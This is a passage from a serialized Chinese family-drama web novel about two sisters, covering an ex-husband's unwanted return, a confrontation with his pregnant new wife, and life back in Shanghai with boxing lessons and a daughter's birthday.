“是。”吴晓丽点头,“当时报志愿的时候,也是迷茫,上学的时候光想着成绩了,根本没想过以后要干什么,就导致报志愿也是瞎报,老师家长都说女孩子当医生当老师好,稳定,我们班女孩大部分都是报的这两项。” 舒英听完这话看着谷雨若有所思。 正说话间,院外一阵声音,接着门就被从外拉开,吴晓明急匆匆地跑进来。 吴嫂子看见他皱眉:“这么急赶着投胎啊,你舒阿姨来了,还不赶紧问好。” 吴晓明刚才进来没往旁边看,听了他妈的话后才看见舒英和谷雨,笑嘻嘻道:“舒阿姨,你什么时候回来的?” 舒英笑起来:“前几天刚回来,这大冷天的,你这怎么出了一头汗。” “跟军子他们几个打球呢!”吴晓明从房间里拿了水杯,猛灌了一口,也不打愣,说,“妈,我先出去了,军子他们几个在外面等我呢!” 吴嫂子还没想叨叨他几句,人已经闪没影儿了,她皱起眉:“这死孩子,都初三了,在学习上一点儿也不上心,跟军子他们几个在班里天天倒数。” 军子几个人也都是家属院的孩子。 舒英:“这长得真快,我刚嫁过来那会儿还正换牙呢,一说话一个豁口。现在除了学习不好懂事多了。” “那倒是,至少没三天两头因为在学校里惹事而把我叫过去丢人了。”吴嫂子被这个儿子折磨得不轻,对他的期望那是一降再降。 厨房里牛奶热好了,吴嫂子进去拿出来,把吸管插上递给谷雨,眼里止不住的喜欢:“谷长得真好,闺女像爸的多,不过谷雨长得跟你一模一样。” 舒英笑了下:“皮肤像了她爸了,比我白。” “你也不黑,像她爸好,像你也好。”吴嫂子笑着,说起李工,又不免要想起他当年离开,这就又有话要说,“哎,这你走了,不知道咱厂里发生的事。” “又发生什么大事了?” “大事也算不上,就那谁,简光远,你去沪市没多久,他也被厂里开除了。” “开除了?”舒英有些诧异,他不是跟后勤那主任的闺女结婚了吗?怎么还能被开除?这时候厂子轻易是不开除人的。 “对,也离婚了,就你走后没多久。”吴嫂子从火炉子上拿了个烤橘子吃,一说起这些事,眼睛里冒光,“是作风问题被人给举报了。” “作风问题?”开除也就算了,还离婚了,还是作风问题,舒英简直目瞪口呆,当年看着也不像是这样的人啊,真是知人知面不知心啊。 “到外面闝倡去了,我听人家说,陆德也一块儿去的,但陆副厂毕竟是陆德亲叔,给压下来了,对外就只说了是简光远。”吴嫂子撇撇嘴,这简光远长得人模人样的,当初李工那事他做的不好,但还能说是为了自己的事业,有点手段也正常,毕竟人无完人嘛,但闝倡这事可就算私德问题了,哪个正经男的会去闝倡啊。 “这一被人举报,上面立马就给他停职了,他老婆也闹着要跟他离婚,老丈人也不护着他,这不,没有背景,上面也不可能去保他,立马就给他开除了,快得很,通知一下来,简光远就走了,现在咱也不知道去哪了。” 舒英也有些唏嘘,他当年跟袁宜一块儿来厂里在李固言手下实习,那时候李固言觉得他俩都还是学生,也没什么钱,带到家里吃了好几回饭,结果没想到两人一个跟着李固言去了沪市私营,一个离了婚还被国营开除,这真是不同的人不同的路啊。 吴嫂子晃着头还有些愤愤:“我瞧那陆德也蹦跶不了多久了,他叔现在还在厂里还能护着他,但也快到了退休的年纪了,等陆副厂一退休,他自己又没什么本事,迟早也是开除的下场。” 舒英摇了摇头,对他们二人,她真是没什么好说的。 等回了家,她看着李固言,他现在跟厂里的老同事老领导联系的都不多,也不知道他知不知道这事。 李固言问:“怎么了?欲言又止的。” “没事。”她摇头,没跟他说这事。 要是他知道,她也没必要再提,要是他不知道,她更没必要说了,简光远算是他第一个学生,是真的尽了心有感情的,被背叛也是真的伤心难受的,他不是那种会落井下石的人,这种事情告诉他,他不见得会高兴。 他们自己的事都刚忙完,舒秀珍那边又出问题了。 舒秀珍也是没想到,严磊能这么不要脸,她当初结婚时眼睛怎么就那么瞎呢,怎么就看上他了呢? 严磊不知道从哪听到的,知道她跟贝贝回来过年了,还知道她们没住在舒家,住在招待所,一大早就守在招待所楼下。 舒秀珍带着贝贝一出大门就看见他,险些没被他吓一跳。 严磊看见她们连忙上前,眼神不舍又复杂地盯着她们娘俩,嘴唇动了动才终于道:“……你们回来了?怎么没跟我说一声。”俨然一副深情样。 舒秀珍抿唇客套地笑了下:“这不也没什么事要找你吗,就没跟你说,怎么了,你今天过来是有事吗?” “没、不是,有事,有事。”严磊看着她说话有些磕巴,这么久不见,她更漂亮更优秀了,眼睛里已经没有他的身影,好像这么久只有他还放不下,还念念不忘,“你、跟贝 贝,你们今天有事吗?咱们一起吃个饭吧?” 贝贝快两年没见过他了,早把他忘了个一干二净,站在妈妈后面陌生又好奇地看着他。 大早上的冷得要死,舒秀珍冻得想跺脚,没工夫在这跟他说这些拐弯抹角的话,直接道:“我要带着贝贝去吃早饭,你要是不介意就一块儿去吧。” “不、不介意。” 舒秀珍牵着贝贝往前走,那边那个拐角处的早餐店味道好,大早上喝碗热乎乎的鸡丝挲汤,胡椒味辣一辣,早上能暖和不少。 进了早餐店,严磊愣愣地杵在那边,眼睛直勾勾地盯着她俩,舒秀珍没忍住皱了皱眉,深深从鼻子里呼出一口气,险些没控制住险恶的表情。 三人坐下,舒秀珍边吃边照顾着贝贝,没管他。 严磊几次张嘴,还是没忍住问:“你们现在过得好吗?” 第64章 第 64 章 “你真是不要脸!”…… 问这个问题是想听到什么答案呢? 想听她说, 不好,离开你后我过得一点都不好吗? 舒秀珍眉头隆起来又强制自己放下去,抬起头直视他的眼睛道:“很好, 我跟贝贝现在过得很开心。” 严磊被她看过来时眼神下意识躲避, 又在听到她这话一怔,抿了抿唇道:“好就行,过得好我就放心了。” 放心?还需要你担心?要是真担心就把贝贝的抚养费给了。 舒秀珍心里忍不住吐槽, 但当着贝贝的面没说出来,贝贝现在大了,开始记事了,就算她跟严磊离婚, 她也不记得严磊是她爸,她也不想当着她的面跟严磊有争执,给她留下阴影。 他在旁边自顾自说着话,她也没吭声, 就照顾着贝贝吃饭。 贝贝是个很乖很好的孩子, 吃饭其实不用怎么照顾,她不会吃得满脸满身都是, 也不会小动作不断还得让人追着喂饭, 更不会故意浪费食物。 可以说她是三生有幸才能遇到这么一个天使宝宝。 严磊见她不搭理自己,表情有些讪讪,目光转移到贝贝身上,上身微微前倾笑起来, 声音温柔道:“贝贝不认识爸爸了吗?怎么见到爸爸都不喊一声?” 爸爸?贝贝微顿,停下手里的勺子转头去看妈妈。 舒秀珍眉眼动了动,隐约能看到一丝不耐,但迎着宝贝女儿时又瞬间收起所有的坏情绪, 安抚地在贝贝身上拍了拍,没说让她叫,也没说不让她叫。 就算她再不满意严磊,毕竟也是她生父,她不想在这件事上强迫贝贝。 贝贝没喊,低下头去躲过男人的视线,勺子在碗里不安地搅动了下。 她已经长大了,知道很多事情了,谷雨有爸爸,谷雨的爸爸是她姨夫,对她很好,同学们也都有爸爸,但她不知道自己的爸爸是谁,为什么她的爸爸没有跟别人的爸爸一样陪在她身边,她问过黄阿姨,黄阿姨没回答,只让她别在妈妈面前说,不然妈妈会伤心的,她不想让妈妈伤心,就从来没有提过这件事。 但今天这个陌生人突然拦着她和妈妈,还让她叫爸爸,她不认识他,也能感觉到妈妈不喜欢他,妈妈是她最爱的人,她不想让妈妈伤心,所以这个人是她爸爸,她也不喊爸爸。 严磊看到贝贝的动作,有些失落,垂着眼睑,手指紧了紧。 舒秀珍带着贝贝吃饱后,拿手帕给俩人擦了擦嘴,她抬眼看向对面的男人问:“行了,你还有其他事吗?要是没有,我就带着贝贝回去了,外面怪冷的。” 严磊下意识伸手阻拦,他过来找她们,家里人谁都不知道,严妈在她刚回来的时候就听说了,在家里骂骂咧咧,再三警告他不准来找她,可他忍不住,他想知道她在沪市过得怎么样,也想看看贝贝怎么样了。 可亲眼看见她俩过得好后,不知道为什么,他的心又有些揪紧,憋闷得让人喘不过来气。 他也抬头看向她,喉咙动了动,磕磕巴巴问:“你、你再婚了吗?” 舒秀珍瞥了眼贝贝,深吸一口气正色道:“严磊,咱们两个已经离婚了,我想,不管我有没有再婚,都不应该是你该过问的事情。” “不是、我不是那个意思。”严磊有些急切,但触及到她有些冰冷的目光后瞬间又安静下来,“我、我是觉得,我们毕竟是贝贝的爸爸妈妈,就算离婚了,也在一起生活了那么多年,应该也算得上是朋友……” 他话越说,舒秀珍眼神越凉,渐渐的,他也有点说不下去。 舒秀珍:“行了,我看你也没什么事了,我带贝贝回去了。” “别!”严磊又要拦,这次舒秀珍没再停留,直接牵着贝贝走了,连个眼神都没留给他。 严磊站在店里,有些失魂落魄地望着母女俩的背影,只觉眼眶酸酸涩涩,这么久过去了,他还是不明白为什么舒秀珍要跟他离婚?他不是很好吗?再婚后,新婚妻子也一直说他很好,夸奖他不抽不喝不闝不赌,那为什么她会不要他? 舒秀珍没把严磊的事放在心上,带着贝贝小跑起来,还笑道:“是不是跑起来暖和多了?” 贝贝重重点头,脸上嘻嘻哈哈的。 跑了一会儿后,舒秀珍小喘着气喊停,看着贝贝泛红的脸颊,又摸了摸她的手,热乎乎的。 到了舒家,一进门舒妈就问:“今天怎么这会儿才到?” 舒秀珍给贝贝换着鞋随口答道:“刚才严磊来了。” “严磊?”舒妈皱起眉,上前仔细问,“他来干嘛?他没干什么吧?”说完仔细打量了一下两人,瞧着没什么异样,才放下心,又道,“就说让你住家里,你非要去住招待所,不行,你今晚必须去把东西搬回来,晚上就睡家里面,你爸你哥都在家,那严磊找过来也不怕。” 严磊跟舒秀珍还是夫妻时自然是她的亲女婿,但两人离婚了,离婚时还闹得那么不堪,严家人也都不是什么好货,舒秀珍一个弱女子还带着一个孩子,碰上他实在是有些不安全。 舒秀珍没答应住回来的事,道:“没事,被我打发了,就说了点有的没的,他一向窝囊,不会拿我怎么样。” 这话舒妈就不赞同了,撇着嘴说:“窝囊,人不可貌相,你没看那有的男的在外面窝囊得屁都放不出来,回家就狠打老婆的?还有那平日里瞧着老实,结果把媳妇给砍了的男人,那光从外面看,谁能知道他们能干出这种丧天良的事?你还是不要大意,小心些总没错处。” “知道了,我会小心的。”舒秀珍虽然不觉得严磊能干出这事,但毕竟也快两年没见了,谁知道人家现在变没变性子,“以后我看见他就躲起来,多一事不如少一事。” “这样也行。”舒妈叹口气,又心疼闺女命苦,又觉得是她心太野造成的。 这事谁也没刻意瞒着,舒英没多久也知道了,也有些不放心,跟李固言一块儿去招待所看看舒秀珍。 舒秀珍没想着他们会过来,说:“马上过年了,你们不在家准备,怎么过来了?” 舒英围着她转了一圈儿,问:“没事吧?” 舒秀珍爽利笑起来,摊着手随意转了一圈,“你觉得呢?” “没事就好。”舒英也实在不解,又问,“他不是都结婚了吗?怎么还来找你?” 舒秀珍耸耸肩,“谁知道?”她说完看了眼李固言,有他在这边,有些话她不太好说出口。 李固言读懂了她的暗示,拿上围巾招呼俩小姑娘:“谷雨,贝贝,走,我带你们到小卖部买零食吃去。” 谷雨贝贝俩人玩得正开心,听到这话,毫不留恋地起身,笑嘻嘻地就跑到他身边站着。 李固言一手拉一个,两个小家伙都穿得鼓鼓囊囊,跟两个圆球一样,站在他身边越发显得他身高腿长了,舒英瞧着想笑。 等人出去后,舒秀珍才道 :“男人嘛,三心二意的,他虽然没说,但我能看出来,他就是想来看看我放没放下他,我要是没放下他,人就可得意了,满心以为自己多厉害,还假模假样地问我过得好不好,我偏不让他得意,说好得很,他瞧着还有点不相信,还要问我再没再婚。” “那你怎么说的?” 舒秀珍露齿笑起来,美眸一抬道:“我说关他屁事。” 舒英没忍住笑出声,但心里知道她肯定不是这样说的,她这个姐姐,有时候瞧着大大咧咧的,其实也很细腻,特别顾及贝贝感受,不可能当着贝贝面给严磊难堪。 想到这,她也想叹气:“那毕竟是贝贝亲爸,等她长大了,要是想认他怎么办?” “认就认呗。”舒秀珍不在意这些,“你也说那是她亲爸,我还能拦着她不让她认吗?” “我不是这意思,我是怕她受伤。”那严磊不是个靠得住的,贝贝要是满怀期待,恐怕会很失望。 舒秀珍知道她想说什么,道:“那也没办法,我反正是不会拦着她的,等她再大些,再懂点事,我就都告诉她,至于她想怎么做都随她。” “不过我相信我闺女肯定是有一个强大的心脏的,而且她从记事起就没跟她爸在一块儿生活过,就是认了也不会有什么感情,不会多受伤,就是受伤也受得住。” 舒英乜她一眼:“你就嘴硬吧,到时候你姑娘掉两滴眼泪,你就该受不了了。” 舒秀珍没说话,笑了笑。 这茬事儿过去,几人也没放心上,只觉得是严磊一时发疯。 结果二十九那天,舒家又迎来一位不速之客。 入户门被人拍得震天响,舒妈在家里忍不住皱了皱眉,趿着拖鞋过去,谁啊这是,一点儿礼貌都没有。 “谁啊?有什么事吗?” 外面的人也不说话,只一个劲儿拍门,舒妈从猫眼看出去,见是一个面生的女人,年龄瞧着不很大。 舒秀珍也疑惑,问舒妈:“谁?” 舒妈摇头:“不认识。” 不过是个女人,心就放下了一半,把门打开一道缝,没放人进来:“请问你找谁?” “我找舒秀珍!”这人边说边用力推门,这女人表情不善,还挺着一个大肚子,舒妈也不敢跟她硬来,把门打开来,大过年的别出了什么事。 “秀珍,找你的。” 舒秀珍从沙发上站起来,看着门边的陌生女人,脑子里也一头雾水,问:“你找我什么事?” 那女人也不说话,走上前上下打量她,从头看到脚又从脚看到头,目光挑挑拣拣,跟在市场上买猪一样,想挑出点儿错来压价。 舒秀珍被她看的心里发毛,但面上不显,嘴角微微下压,她打过交道的人没有一万也有八千,自是不怵一个怀了孕的女人,她脸色一沉,周身就染了点不好惹的威严,又问一遍:“我们认识吗?” 那女人也被她吓了一吓,但立马又壮起胆子,脸上表情恶狠狠的:“你不认识我,我可认识你!” “原来不认识啊。”舒秀珍一屁股坐在沙发上,还搭着二郎腿,“你找我什么事?” “你是严磊她前头那个老婆吧?” 舒秀珍皱了皱眉,这话说的真难听,“我是他前妻,你又是谁?”问是这样问,但眼神扫过她挺起来的肚子,心中已经有了猜想。 果不其然,这女人道:“我是他现在的老婆!” “哦。”她轻轻应了声,“跟我有什么关系吗?你找我又有什么事?”这话她问了三遍了,她还没说因为什么事找她呢,真够磨叽的。 “你真是不要脸!” 舒秀珍瞪大眼,不可置信地看着她,简直要被气笑了。 “你脑子没毛病吧?你有什么事回家找严磊去,找我撒什么泼?” 舒妈也没想到她会突然骂人,也上来指着她说:“我们家跟严磊已经什么关系都没有了,你再在我家骂人,我报警了啊!” 那女人冷哼一声:“怎么?你们心虚了?你就是不要脸,你们都离婚了,你还勾引我男人干什么?” 舒秀珍心烦地啧了一声,“你给我把嘴巴放干净一点,什么叫我勾引他?他白送给我我都不乐意要,还勾引,真是让人笑掉大牙。” “你敢说你没勾引他?你没勾引他,他天天跟失了魂一样,就念叨着你们!肯定是你勾引的!我嫁给他这么久了,他从来没像这段时间一样,我肚子里怀的可是他们老严家的儿子,你一个丫头片子凭什么跟我争?”女人瞧着神色癫狂,马上就要疯起来了。 舒秀珍看她大着肚子,狠狠闭了闭眼,幸好贝贝被舒文佑带出去玩去了,不在家,她这才忍着气没刺激她,给舒妈打了个眼色,让她去打电话,这人别在她们家里出了什么事,回头再被严妈那老太婆讹上,那就太恶心人了。 女人大喊大叫的,这老房子也不怎么隔音,邻居们都被她嚎过来,好奇问:“这是怎么了?这人谁啊?” 见这么多人围观,女人更是疯了,脸上眼泪鼻涕混在一块,哑着嗓子喊:“这贱女人勾引我男人,我肚子都这么大了,她还勾引我男人!” 邻居们看着里面坐着的舒秀珍,“不能吧?秀珍都这么久没回来了,她咋能勾引你男人?你男人是谁啊?可别是误会了。” “我男人是严磊!” 这话一出,大家都有点沉默,合着她男人就是舒秀珍前夫啊! 那这就不好说了,这前夫前妻的,死灰复燃也不是没有可能。 舒秀珍翻了个白眼,不耐烦道:“你们听她瞎说,我要是还能看得上严磊,我当初何必跟他离婚?” 看热闹的邻居们点点头,是这个理,而且他们自己也有眼,这舒秀珍回来这么久,穿的戴的吃的用的,都是好东西,大城市打拼出来了,眼睛长头顶上,哪儿还能看上家里的人。 但这女人可不这样认为,她听到她这句话,忙说:“你自己承认了!你就是后悔跟他离婚了!你生不出儿子,你凭什么后悔?严磊现在是我男人,你凭什么还抓着不放?” 她这又吼又喊的,还大喘着气,邻居们都怕她别出了什么事,有两个大妈连忙上来扶着她劝:“姑娘,姑娘,你先在这坐坐,有什么事咱好好说,你这肚子里还揣着孩子呢,可不能这样吼。” 女人恍然回神,抱着肚子坐在凳子上,瞬时又有些沉默,大妈们忙趁着这个空当围上来,把她跟舒秀珍隔开,她现在正在气头上,不能让她看见舒秀珍。 大家七嘴八舌的劝,舒秀珍从人群里出去。 刚好舒妈打完电话回来,两人碰上。 “怎么样?那人还在家里吗?” 舒秀珍点头:“一嗓子喊的楼上楼下的人现在都在咱家。” 都说家丑不外扬,舒妈这时候却是顾不上了,“都在咱家也好,也能看着她,我报了警,也给严磊打了电话,他说马上就来,我听着他像是不知道他老婆会过来找事。” 舒秀珍翻个白眼,她都不想提这个窝囊男人。 两人也没上去,就在楼下等着,公安来得快些,问了情况就迈步上去看情况。 没多会儿严磊也到了,一看也是急匆匆跑过来的,身上的衣服还乱遭的。 他神色惊惶地到舒秀珍面前,问:“你、你没事吧?” 舒秀珍上下看了他一眼,神色定了定,抬手就是一巴掌。 这下别说严磊被打蒙了,就是舒妈都蒙了,连忙拉着她后退:“你说你,你打他干什么?” 严磊偏过头,有点要哭不哭的样子,要是还相爱的时候,舒秀珍会觉得心疼,现在只觉得恶心,她是不想否定自己的过往的,所以在离婚后,也一直在说,如果贝贝愿意认他,她不会阻止,但今天经历着一场,她是 真觉得当初跟他在一起的那段时间都被浪费掉了,他也不配当贝贝的父亲。 她今天算是又看清了他一回,这么大的人了,一点责任心都没有,既然选择再婚,妻子也怀了孕,就应该把前尘往事都放下,收了心好好跟家里人过日子,而不是让大着肚子的老婆不安,在这大冷天的跑这么远到丈夫前妻家闹事。 公安来了,严磊也来了,大肚子的女人被劝走,公安也对着他们再三警告,不准再过来闹事。 这件事到这才算是终于告一段落,舒秀珍只觉得心累,大年初一就走了,也没等舒英他们,直接带着贝贝回沪市了。 舒英知道这些事后也是又气又急,拉着李固言骂严磊不是个男人,骂完又担心舒秀珍一个人带贝贝坐火车安不安全,而且这时候还不知道黄姐回没回去呢,她一个人能不能照顾好贝贝,想想又给赵姐去了个电话,让她帮帮忙。 舒英、李固言和李固萱过完年也没多待几天,他们还得赶着回去上班上学,年初六就走了。 一路舟车劳顿,三人带着谷雨总算是回到了家里。 赵姐提前就把饭烧好了,一进门就能闻到一股飘香的饭菜味。 舒英松一口气,坐在椅子上靠着椅背,看着熟悉的环境,真是金窝银窝都没自己家的狗窝舒服。 “你们先吃,我去楼上看看。”她还是不放心她姐。 李固言点头:“我给你扒点儿出来留着。” 舒英上楼敲了门,黄姐开的,看着她惊喜道:“这么快到了?路上累不累?” “还行,不怎么累,我姐回来了吗?” “回来了,在房间里呢。” 舒英点头,熟门熟路换了鞋到主卧去。 她敲了门,推门进去,舒秀珍正带着贝贝在床上玩呢,看到她也有点惊讶:“我还以为你们要再晚点才能到呢。” “今天火车没晚点,就早到了。”舒英边说边打量她的神色,没看出什么不适来,跟没事人一样。 舒秀珍知道她现在过来的目的,无奈道:“放心吧,你姐我是那么脆弱的人吗?一个男人,还是一个我不要的男人,我没放心上。” 舒英笑起来:“都不知道怎么说你好了。” 等她俩三言两语说完,贝贝忙凑上来问:“小姨,谷雨回来了吗?” “回来了,在楼下吃饭呢,你要不要下去找她玩?小姨带你下去。” “要~”贝贝点头,自己下床穿鞋子。 舒秀珍也从床上下来,拢了拢丝质睡衣,打开柜子拿了件厚家居服穿上,“我也下去看看我外甥女去,几天没见,我都想她了。” 舒英瞥她一眼,还会贫嘴,看来是没什么事。 也是,舒秀珍是什么人,什么大场面没见过,那种情况哪里吓得到她,应该就只是嫌烦而已。 三人下楼,他们正吃着,谷雨看见大姨和贝贝,筷子一放就从椅子上下来。 舒秀珍弯下腰把她抱怀里:“哎呦,我的小谷雨,想大姨没有?” “想了!” 舒英没管她们,赵姐把给她留的饭从锅里端过来,她也是真的饿了,拿起筷子就大吃起来。 第65章 第 65 章 我们的未来让你满意了吗…… 回到沪市没两天大家就该上学的去上学, 该上班的去上班。 舒英又回到了年前的那种生活模式,每天就是上课、做实验、预习又复习,一日又一日的重复, 枯燥单调但也充足。 欧阳雪又发表了论文, 舒英和付思萱没少给她帮忙盯实验整理数据,所以论文的作者栏上也加了她俩的名字,虽然只是末尾的位置, 但也够让人开心的了。 不过舒英还是羡慕以第一作者身份发表的论文,想着等研二课少了,她也能开始写文章投稿了。 有天晚上她放学回到家,一进门就看见谷雨和贝贝窝在沙发上盯着电视看, 看得痴迷,连眼都不舍得眨,整个人都快钻到电视机里去了。 舒英盯着她们俩看了会儿,不知道想了些什么, 还是赵姐喊了一声才回神。 到了晚上, 舒英和李固言两口子躺在床上,舒英摸了下已经睡熟的谷雨道:“咱俩平时都忙, 陪她的时间少, 赵姐也要操持家里的家务,而且赵姐自己也不认识字,也没办法带着她读会儿书,她现在晚上一回来就看电视, 能看一晚上,这样下去不行,不说其他的,就这么看下去, 眼睛也得看坏了。” 李固言放下手里的书,觉得她说的有道理,道:“那晚上给她找个事做?” “我也是这样想的。”舒英躺下来,“之前祁姐说让咱们给她报班学个什么,我那时候还觉得太早了,学着累,现在看她们就靠看电视打发时间,那还不如送她们去学点儿什么,就是学不会,也能消耗消耗精力。” 李固言点头:“行,我记得小区前头楼下好像就有开班的,我明天过去打听打听。” “嗯。正好我也问问我姐的意见,让谷雨去学,贝贝就落单了,我姐估计也会让贝贝跟着一块儿。” “一块儿挺好,俩人还能再做个伴。” 第二天舒英就把这事跟舒秀珍说了,舒秀珍稍微思索一下,也觉得不错,说:“你打算让她们学什么?” “具体学什么我还没想好,不过现在还小,也不让她们学多难的东西,学点能锻炼身体的就行。”还是个小萝卜头呢,她也不指望谷雨能把这些学多精通。 前头楼下有几个开兴趣班的,有教音乐的,有教舞蹈的,舒英这俩都没选,选了一个教打拳的。 她挑着空闲时间带着谷雨和贝贝过去看了眼,拳馆里的学员都是些小男孩,一眼望过去几乎没看到女孩的身影。 打拳师傅虽然诧异她会在一众乐器舞蹈班中选中他们,但也没有把生意往外推的道理,当即热情的给她介绍起来。 舒英在场馆里看了几眼,轻轻皱了下眉,这里没有女孩子。 她送她俩过来也是想让她俩能稍微学点保护自己的功夫,但这里一眼扫过去都是男的,反而不太合适,毕竟防人之心不可无,两个小羊羔子一样单纯的姑娘,送到这里不见会安全。 打拳师傅看出她脸上的犹豫,连忙冲着两个小孩道:“我带你们到那边去看看?你们以前没接触过吧?可以上去试试。” 谷雨和贝贝看着泡沫垫子上的小男孩们,手上都带着拳套,有模有样地跟着前面的师傅学动作,一时眼中都有些跃跃欲试,期待地看着舒英。 舒英迟疑了下,还是点头答应:“去吧,我就在这边看着。” 谷雨和贝贝被师傅牵上去,找了拳套给她俩戴上,带着她俩站到队伍末尾,旁边的小男孩有些好奇地盯着她俩瞧了瞧,但师傅严厉,他们不敢跟她们说闲话。 正好这节课还剩半节课,谷雨和贝贝在垫子上跟着学了后半节课,快入春的天气,已经没那么冷了,场馆里门窗又关着,她俩嘿嘿哈哈一通,都出了一脑袋的汗。 她们在上面学的时候,舒英就站在下面看着,面无表情,也不点头也不摇头,那师傅时不时的就要暗暗看她一眼,见她没什么反应,也拿不准她是个什么想法,但这一下子两个学员,他又不舍得放弃,于是更加热情地教她俩,手指点着给她们改动作。 课上完,谷雨和贝贝两人兴奋地跑到她跟前,两张小脸都红透,但两双眼睛却是晶亮晶亮的。 舒英抿着笑了一下,从包里拿出手帕给她们擦了擦。 谷雨拉着她衣角说:“妈妈,我们以后还来学吗?” 舒英没回,问:“你们喜欢吗?” “喜欢!”两人齐声道。 师傅听着孩子这话觉得有门,连忙上来推销。 舒英静静听着,等他说完后问:“这边女孩太少了,你们这有女师傅吗?我们家这是两个女孩子,这屋里都是男的,不太方便。”现在是天还凉着,等天热了,场馆里的人打拳一动就是一身的汗,有些男的也不怎么讲究,随手就把上半身脱得干净,对俩小女孩来说,实在有碍观瞻。 那师傅面露难色:“这……实话说,我们还没招过女学员,也没有女师傅。”倒不是他们有什么规矩,而是这边兴趣班挺多,女孩子上兴趣班又大多都选择学些乐器和舞蹈,他们这一直都是男孩报名,后来也有家长带女孩来过,但一看都是男的,就立马领着孩子走了,连试课都没试。 他还是不愿意放弃,又道:“你们要是报名,我给你们课时费再打九折!”招了两个女学员,以后要是再有女孩的家长过来瞧,也能多考虑两分。 但舒英担心的不是钱的问题,她低头看着俩孩子又问:“你们俩真的喜欢吗?要是让你们每周都过来学你们愿意吗?” 谷雨和贝贝互相对视一眼,随后点点头:“愿意!” 行吧,只要孩子乐意,那就没什么好说的了,但舒英还是得保证她们俩的安全,提出条件道:“我有个条件,你们要是能接受,我们就报名。” “你说你说。”师傅笑起来,拿脖子上挂着的汗巾擦了擦脸上滑落的汗珠。 “你们平时上课的时候能接受别人看着吗?”舒英问,她看他们这边上课都是在房间里,家长们在外面走廊上坐着等。 “一般是不能的。” 舒英微微垂眼:“我家是两个女孩子,你们要是能接受上课的时候家长也在教室里看着,我们就报名。”她想着要是行就让赵姐和黄姐带她们来上课时轮番守着,她也是看她俩实在喜欢,要不然她是连考虑都不考虑。 师傅脸上笑容一顿,有家长在,师傅们上课其实都会有点不自在,家长们都是花了钱的,一个师傅教十来个小孩,就怕有的家长心思多,觉得师傅对他们的孩子关注少、有遗漏。 他回头看了一眼那边的一群小男孩,想着招俩女孩,以后招学员也能不受限些,咬了咬牙答应下来:“行!” 既然他同意了,舒英也没什么话好说了,当即带着她俩去交费,交完费后没忍住说了句:“你们这要是有女师傅就好了,现在家家户户都一个孩子,都是宝贝,而女孩子普遍体弱,我们也都想让她们学些防身的本事。也不是说男师傅不好,就是大家都是陌生人,场馆里除了男师傅就是男学员,女孩子送到这里来,当家长的肯定是不太放心的。” 师傅听了也不恼,他也知道她说的是实在话,回道:“我回头寻摸寻摸,主要是学拳的女师傅少,不太好找。” 舒英报完名就带着她俩回去,等李固言和舒秀珍回来后跟他俩说一声,两人也都没什么意见,就是要多麻烦赵姐跟黄姐要去轮番守着,不过这里也不是天天都来,每周二周四周六晚上五点到七点,一周上三天,她俩一块儿互相替着倒也还好。 谷雨和贝贝每周学三天拳,每到那三天就是吼吼哈嘿的,一身的精力都被消耗殆尽,到了家洗了澡倒头就睡,不像平时到了睡觉的点还缠着想看动画片不肯睡。 而且学一段时间后,的确是能明显地感觉的俩小家伙身上的肉都结实了点,可见这打拳学得不亏。 李固言这段时间已经把厂房找好了,也交了租金买了几台机床,他出来单干,袁宜自然是跟着他的,厂里还有几个人也想跟着他出来,他没答应,带着袁宜还说得过去,她是他带出来的学生,也是他带到厂里来的,要是再把其他人给带走就不地道了,罗厂长待他不薄,这种事情他是断断不会干的。 他要走,罗厂长也知道留不住他,他是有大本事的人,肯定是不会甘心一辈子就给人当个打工的,所以罗厂长简单挽留了几次后就没再提,反而还问他资金够不够,不够的话他愿意借。 想要单干就没有不缺钱的地方,但李固言没问他借钱,他跟舒英商量着把家里的那套房子抵到银行,又贷的款。 他这段时间一直在忙活,跟袁宜把新厂房打扫干净,就只等机床来到再招工人了。 每年三月初六初七,是谷雨和李固言的生日。 李固言提前就说他俩生日在同一天,他就跟着谷雨一块儿过吧,没必要再折腾成两天。 舒英没答应,说:“闺女的生日是闺女的,你的是你的,再忙也不缺那点儿时间。” 李固言知道她是心疼自己,也不反对了,只是笑,笑完又凑到她脸上去亲她。 三月初六这天晚上,两家子都坐到五楼给谷雨庆生。 俩孩子都等着吃蛋糕,吃饭的时候对着一桌子饭菜都有些心不在焉,大人们见了想笑。 舒英把一小碗长寿面放到谷雨面前:“把面吃完就可以吃蛋糕了。” 谷雨看着眼前的面,问:“妈妈,我能不吃面吗?吃了面我就吃不下蛋糕了。” 舒英就是想着让她少吃点蛋糕,自然不会同意,说:“不行,过生日吃长寿面是咱们的传统,是必须要吃的,而且明天是爸爸生日,你明天还能吃蛋糕呢。” “好吧。”谷雨虽然有些不情愿,但又觉得妈妈说得对,于是埋头把一小碗长寿面都呼噜呼噜扒干净,吃完把碗往前一推喊着,“蛋糕蛋糕!” 舒英好笑地在她脑袋上点了一下,谷雨嘿嘿笑。 赵姐去厨房把蛋糕拿过来放到桌子上,舒英跟着一块儿把蛋糕盒子拆掉。 奶油水果蛋糕,因为明天还要买蛋糕,也怕俩小孩吃太多,所以蛋糕就没买大,买了个六寸的,五个大人俩小孩,也就是一人切一小块的量。 吃蛋糕前先关灯点蜡烛许愿,过了这个生日,谷雨就是四周岁了,所以蛋糕上插了四根细细的彩色蜡烛。 许完愿后切蛋糕谷雨和贝贝切的最大,一人抱着一个小蛋糕盘,吃得那是又小心又仔细,像在吃什么龙肝凤髓,舒英瞧着就是龙肝凤髓放在她俩面前,都不一定能吃这么欢。 舒英李固言和舒秀珍吃得也慢,但跟她们俩那不舍得吃的慢不太一样,他们是不太喜欢吃,小的时候喜欢吃蛋糕,甜滋滋的,还有奶油,长大了反而不喜欢吃了,嫌弃太甜了。 舒英虽然学的不是临床医学,但也知道是因为大人的味蕾没有小孩的敏锐了,所以很多小孩不喜欢吃菜,因为能尝出菜里的苦味。 舒英把自己的蛋糕吃完问:“你刚才许的什么愿望?”要是简单的她就直接给满足了。 谷雨抬头睁着油亮的双眸,神采奕奕:“我许愿养一只小狗!” 小狗?舒英有些惊讶挑眉:“为什么想要一只小狗?”她之前没听她提过。 “芝芝有一只小狗,我也想要一只小狗。” 还不等舒英细问,舒秀珍率先笑起来:“哎呦,那我这礼物真是送对了。” 舒英听到这话看过去,眼神发问,你不会真给她买了只小狗吧? 舒秀珍没看她,让黄姐上楼把礼物拿下来,笑说:“我托人从国外带回来的,一只可爱的小花狗。”说完还调皮地冲谷雨眨眨眼 。 舒英惊得张大嘴,问:“你还真给她买了条狗啊?”问题是他们家住楼房还都忙,哪有条件养狗啊! 舒秀珍不语,谷雨乐得要蹦起来。 